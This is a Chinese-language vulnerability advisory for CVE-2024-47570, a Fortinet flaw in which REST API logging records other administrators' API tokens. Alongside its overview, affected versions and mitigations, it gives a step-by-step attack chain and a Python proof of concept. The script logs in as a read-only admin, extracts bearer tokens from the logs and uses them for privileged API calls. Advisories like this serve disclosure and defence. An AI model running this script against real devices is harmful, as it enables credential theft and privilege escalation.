IPBUF安全漏洞报告
English
CVE-2024-47570 CVSS 6.6 中危

CVE-2024-47570 FortiOS/FortiProxy/FortiPAM/FortiSRA敏感信息日志泄露漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2024-47570
漏洞类型
敏感信息泄露
CVSS评分
6.6 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FortiOS, FortiProxy, FortiPAM, FortiSRA

相关标签

CVE-2024-47570敏感信息泄露日志泄露FortiOSFortiProxyFortiPAMFortiSRAAPI令牌权限提升Fortinet

漏洞概述

CVE-2024-47570是Fortinet产品线中的一个敏感信息日志泄露漏洞。该漏洞存在于FortiOS 7.4.0至7.4.3、7.2.0至7.2.7、7.0所有版本,FortiProxy 7.4.0至7.4.3、7.2.0至7.2.11,FortiPAM 1.4、1.3、1.2、1.1、1.0所有版本,以及FortiSRA 1.4所有版本中。漏洞的根本原因是当REST API日志记录功能启用(非默认配置)时,系统会将包含敏感信息的API令牌写入日志文件。攻击者只需具备只读管理员权限,即可通过观察REST API日志获取其他管理员的API令牌,从而实现权限提升。由于API令牌通常具有较高的权限,攻击者可以利用窃取的令牌执行特权操作,包括修改系统配置、访问敏感数据或执行管理操作。此漏洞的CVSS评分为6.6,属于中等严重程度,但实际危害可能因组织的安全配置而异。

技术细节

该漏洞属于CWE-532(敏感信息插入日志文件)类别。在Fortinet设备中,当管理员执行REST API操作时,系统会将API请求的详细信息记录到日志中,包括Authorization头中的API令牌。由于日志文件通常存储在可访问的位置,具有只读管理员权限的用户可以查看这些日志并提取其他管理员的API令牌。攻击者获取令牌后,可以利用REST API进行身份验证,并执行原本需要更高权限的操作。漏洞的利用前提是REST API日志记录功能必须处于启用状态,这是一个非默认配置项。攻击者需要具备有效的只读管理员账户,并能够访问系统的日志查看功能。CVSS向量显示攻击复杂度为高(AC:H),因为需要特定的配置条件,但一旦满足条件,攻击者可以获得高机密性、高完整性和高可用性影响。

攻击链分析

STEP 1
步骤1
攻击者获取只读管理员账户的凭据或会话
STEP 2
步骤2
攻击者登录Fortinet设备,确认REST API日志记录功能已启用
STEP 3
步骤3
攻击者访问REST API日志页面或日志文件
STEP 4
步骤4
在日志中搜索包含Authorization头的API请求记录
STEP 5
步骤5
提取其他管理员的API令牌(Bearer Token)
STEP 6
步骤6
使用窃取的令牌进行REST API调用,执行特权操作如修改配置、获取敏感数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-47570 PoC - Fortinet API Token Leak via REST API Logs # This PoC demonstrates how a read-only admin can extract API tokens from logs import requests import re from bs4 import BeautifulSoup TARGET = "https://target-fortinet-device.com" USERNAME = "readonly_admin" PASSWORD = "password" def login(): """Authenticate as read-only admin""" session = requests.Session() login_url = f"{TARGET}/api/v2/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data, verify=False) return session, response.json().get('token') def extract_tokens_from_logs(session, auth_token): """Extract API tokens from REST API logs""" headers = {"Authorization": f"Bearer {auth_token}"} # Access REST API logs log_url = f"{TARGET}/api/v2/monitor/logs/rest-api" response = session.get(log_url, headers=headers, verify=False) tokens = [] if response.status_code == 200: # Parse logs and extract API tokens from Authorization headers log_content = response.text token_pattern = r'Authorization:\s*[Bb]earer\s+([A-Za-z0-9\-_\.]+)' tokens = re.findall(token_pattern, log_content) return tokens def use_stolen_token(stolen_token): """Use stolen token to perform privileged operations""" headers = {"Authorization": f"Bearer {stolen_token}"} # Example: Get full admin list admin_url = f"{TARGET}/api/v2/cmdb/system/admin" response = requests.get(admin_url, headers=headers, verify=False) return response.json() def main(): session, admin_token = login() stolen_tokens = extract_tokens_from_logs(session, admin_token) for token in stolen_tokens: print(f"Found token: {token}") privileged_data = use_stolen_token(token) print(f"Privileged access: {privileged_data}") if __name__ == "__main__": main()

影响范围

FortiOS 7.4.0 - 7.4.3
FortiOS 7.2.0 - 7.2.7
FortiOS 7.0 所有版本
FortiProxy 7.4.0 - 7.4.3
FortiProxy 7.2.0 - 7.2.11
FortiPAM 1.4 所有版本
FortiPAM 1.3 所有版本
FortiPAM 1.2 所有版本
FortiPAM 1.1 所有版本
FortiPAM 1.0 所有版本
FortiSRA 1.4 所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)确认REST API日志记录功能是否启用,如非必要请禁用;2)限制只读管理员的权限,确保其无法访问包含敏感信息的日志;3)实施额外的访问控制,限制对日志查看功能的访问;4)监控日志访问行为,设置告警以便及时发现异常;5)考虑使用独立的日志管理系统,将敏感日志与普通管理员隔离;6)定期轮换API令牌以减少令牌泄露后的影响时间窗口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表